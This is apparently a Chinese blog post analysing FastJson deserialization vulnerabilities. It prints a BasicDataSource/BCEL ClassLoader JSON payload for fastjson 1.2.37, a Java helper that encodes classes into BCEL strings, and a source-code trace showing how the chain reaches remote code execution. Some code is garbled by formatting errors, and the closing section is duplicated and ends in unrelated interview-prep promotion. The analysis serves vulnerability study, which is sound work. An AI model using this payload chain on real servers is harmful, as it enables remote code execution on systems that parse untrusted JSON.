【091期】为什么要弃坑阿里开源的 FastJson?三种利用链漏洞分析

byte[] bytes = lexer.bytesValue();

跟入lexer.bytesValue()方法,看到decodeBase64

public byte[] bytesValue() {

// base64解码

return IOUtils.decodeBase64(buf, np + 1, sp);

}

总结:

  • TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手

  • 需要开启Feature.SupportNonPublicField,实战中不适用

BasicDataSource

String payload = “{\n” +

"    “name”:\n" +

"    {\n" +

"        “@type” : “java.lang.Class”,\n" +

"        “val”   : “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”\n" +

"    },\n" +

"    “x” : {\n" +

"        “name”: {\n" +

"            “@type” : “java.lang.Class”,\n" +

"            “val”   : “com.sun.org.apache.bcel.internal.util.ClassLoader”\n" +

"        },\n" +

"        “y”: {\n" +

"            “@type”:“com.alibaba.fastjson.JSONObject”,\n" +

"            “c”: {\n" +

"                “@type”:“org.apache.tomcat.dbcp.dbcp2.BasicDataSource”,\n" +

"                “driverClassLoader”: {\n" +

"                    “@type” : “com.sun.org.apache.bcel.internal.util.ClassLoader”\n" +

"                },\n" +

"                “driverClassName”:“!!!Payload!!!”,\n" +

“\n” +

"                     “KaTeX parse error: Expected group as argument to '\"' at end of input: ref\": \".x.y.c.connection”\n" +

“\n” +

"            }\n" +

"        }\n" +

"    }\n" +

“}”;

JSON.parse(payload);

这个Payload适用于1.2.37版本,并且需要导入Tomcat相关的包

com.alibaba

fastjson

1.2.37

org.apache.tomcat

tomcat-dbcp

8.0.36

生成driverClassName的工具如下

import com.sun.org.apache.bcel.internal.util.ClassLoader;

import com.sun.org.apache.bcel.internal.classfile.JavaClass;

import com.sun.org.apache.bcel.internal.classfile.Utility;

import com.sun.org.apache.bcel.internal.Repository;

public class Test {

public static void main(String[] args) throws Exception {

JavaClass cls = Repository.lookupClass(Exp.class);

String code = Utility.encode(cls.getBytes(), true);

code = “ B C E L BCEL BCEL” + code;

new ClassLoader().loadClass(code).newInstance();

System.out.println(code);

}

}

BCEL的全名是Apache Commons BCEL,Apache Commons项目下的一个子项目,包含在JDK的原生库中。我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格式的字节码。

生成的BCEL格式大概如下:

B C E L BCEL BCEL$l 8 b 8b 8bI A A AA A A AA A A AA A m Q AmQ AmQ

将这种格式的字符串,作为“字节码”传入new ClassLoader().loadClass(code).newInstance();将会被实例化,当我们在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞

回到Payload,开头一部分用于绕Fastjson黑白名单,没有什么特殊的意义,核心部分如下:

“x” : {

“name”: {

“@type” : “java.lang.Class”,

“val”   : “com.sun.org.apache.bcel.internal.util.ClassLoader”

},

“y”: {

“@type”:“com.alibaba.fastjson.JSONObject”,

“c”: {

“@type”:“org.apache.tomcat.dbcp.dbcp2.BasicDataSource”,

“driverClassLoader”: {

“@type” : “com.sun.org.apache.bcel.internal.util.ClassLoader”

},

“driverClassName”:“!!!Payload!!!”,

r e f " :   " ref": " ref": ".x.y.c.connection”

}

}

}

这个版本利用的是$ref这个特性:当fastjson版本>=1.2.36时,我们可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection

参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

if (“$ref” == key && context != null) {

// 传入的ref是$.x.y.c.connection,匹配到else

if (“@”.equals(ref)) {

} else if (“…”.equals(ref)) {

} else if (“$”.equals(ref)) {

} else {

Object refObj = parser.resolveReference(ref);

if (refObj != null) {

object = refObj;

} else {

// 将$.x.y.c.connection加入到Task

parser.addResolveTask(new ResolveTask(context, ref));

parser.resolveStatus = DefaultJSONParser.NeedToResolve;

}

}

}

// 处理后设置到context

parser.setContext(context, object, fieldName);

漏洞的触发点在com.alibaba.fastjson.JSON.parse:154

parser.handleResovleTask(value);

跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

if (ref.startsWith(“$”)) {

refValue = getObject(ref);

if (refValue == null) {

try {

// 看到eval感觉有东西

refValue = JSONPath.eval(value, ref);

} catch (JSONPathException ex) {

// skip

}

}

}

跟入JSONPath.eval,这里的segement数组中的是[x,y,c,connection]

public Object eval(Object rootObject) {

if (rootObject == null) {

return null;

}

init();

Object currentObject = rootObject;

for (int i = 0; i < segments.length; ++i) {

Segement segement = segments[i];

// 继续跟入

currentObject = segement.eval(this, rootObject, currentObject);

}

return currentObject;

}

到达com.alibaba.fastjson.JSONPath:1350

public Object eval(JSONPath path, Object rootObject, Object currentObject) {

if (deep) {

List results = new ArrayList();

path.deepScan(currentObject, propertyName, results);

return results;

} else {

// return path.getPropertyValue(currentObject, propertyName, true);

return path.getPropertyValue(currentObject, propertyName, propertyNameHash);

}

}

继续跟入path.getPropertyValue

protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {

if (currentObject == null) {

return null;

}

if (currentObject instanceof Map) {

Map map = (Map) currentObject;

Object val = map.get(propertyName);

if (val == null && SIZE == propertyNameHash) {

val = map.size();

}

return val;

}

final Class<?> currentClass = currentObject.getClass();

JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);

if (beanSerializer != null) {

try {

// 最后一次循环到达这里

return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);

} catch (Exception e) {

throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);

}

}

跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {

FieldSerializer fieldDeser = getFieldSerializer(keyHash);

// 跟入

return fieldDeser.getPropertyValue(object);

}

跟入com.alibaba.fastjson.serializer.FieldSerializer:145

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {

Object propertyValue =  fieldInfo.get(object);

到达com.alibaba.fastjson.util.FieldInfo,达到最终触发点:method.invoke

public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {

return method != null

? method.invoke(javaObject)

: field.get(javaObject);

}

看到这里的javaObject正是BasicDataSouce

回到BasicDataSource本身

public Connection getConnection() throws SQLException {

if (Utils.IS_SECURITY_ENABLED) {

// 跟入

final PrivilegedExceptionAction action = new PaGetConnection();

try {

return AccessController.doPrivileged(action);

} catch (final PrivilegedActionException e) {

final Throwable cause = e.getCause();

if (cause instanceof SQLException) {

throw (SQLException) cause;

}

throw new SQLException(e);

}

}

return createDataSource().getConnection();

}

private class PaGetConnection implements PrivilegedExceptionAction {

@Override

public Connection run() throws SQLException {

// 跟入createDataSource()

return createDataSource().getConnection();

}

}

// 继续跟入createConnectionFactory()

final ConnectionFactory driverConnectionFactory = createConnectionFactory();

最终触发点,其中driverClassNamedriverClassLoader都是可控的,由用户输入,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL...这种格式后,在newInstance方法执行后被实例化。第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。

if (driverClassLoader == null) {

driverFromCCL = Class.forName(driverClassName);

} else {

driverFromCCL = Class.forName(

driverClassName, true, driverClassLoader);

}

driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);

driverToUse = (Driver) driverFromCCL.newInstance();

总结:

最后

关于面试刷题也是有方法可言的,建议最好是按照专题来进行,然后由基础到高级,由浅入深来,效果会更好。当然,这些内容我也全部整理在一份pdf文档内,分成了以下几大专题:

  • Java基础部分

  • 算法与编程

  • 数据库部分

  • 流行的框架与新技术(Spring+SpringCloud+SpringCloudAlibaba)

这份面试文档当然不止这些内容,实际上像JVM、设计模式、ZK、MQ、数据结构等其他部分的面试内容均有涉及,因为文章篇幅,就不全部在这里阐述了。

作为一名程序员,阶段性的学习是必不可少的,而且需要保持一定的持续性,这次在这个阶段内,我对一些重点的知识点进行了系统的复习,一方面巩固了自己的基础,另一方面也提升了自己的知识广度和深度。

entThread().getContextClassLoader().loadClass(driverClassName);

driverToUse = (Driver) driverFromCCL.newInstance();

总结:

最后

关于面试刷题也是有方法可言的,建议最好是按照专题来进行,然后由基础到高级,由浅入深来,效果会更好。当然,这些内容我也全部整理在一份pdf文档内,分成了以下几大专题:

  • Java基础部分

[外链图片转存中…(img-PafRldma-1714492391442)]

  • 算法与编程

[外链图片转存中…(img-Qc3yP1zb-1714492391443)]

  • 数据库部分

[外链图片转存中…(img-ixO9A7Lm-1714492391443)]

  • 流行的框架与新技术(Spring+SpringCloud+SpringCloudAlibaba)

[外链图片转存中…(img-YC8WN26H-1714492391444)]

这份面试文档当然不止这些内容,实际上像JVM、设计模式、ZK、MQ、数据结构等其他部分的面试内容均有涉及,因为文章篇幅,就不全部在这里阐述了。

作为一名程序员,阶段性的学习是必不可少的,而且需要保持一定的持续性,这次在这个阶段内,我对一些重点的知识点进行了系统的复习,一方面巩固了自己的基础,另一方面也提升了自己的知识广度和深度。

本文已被CODING开源项目:【一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码】收录

  • 7
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值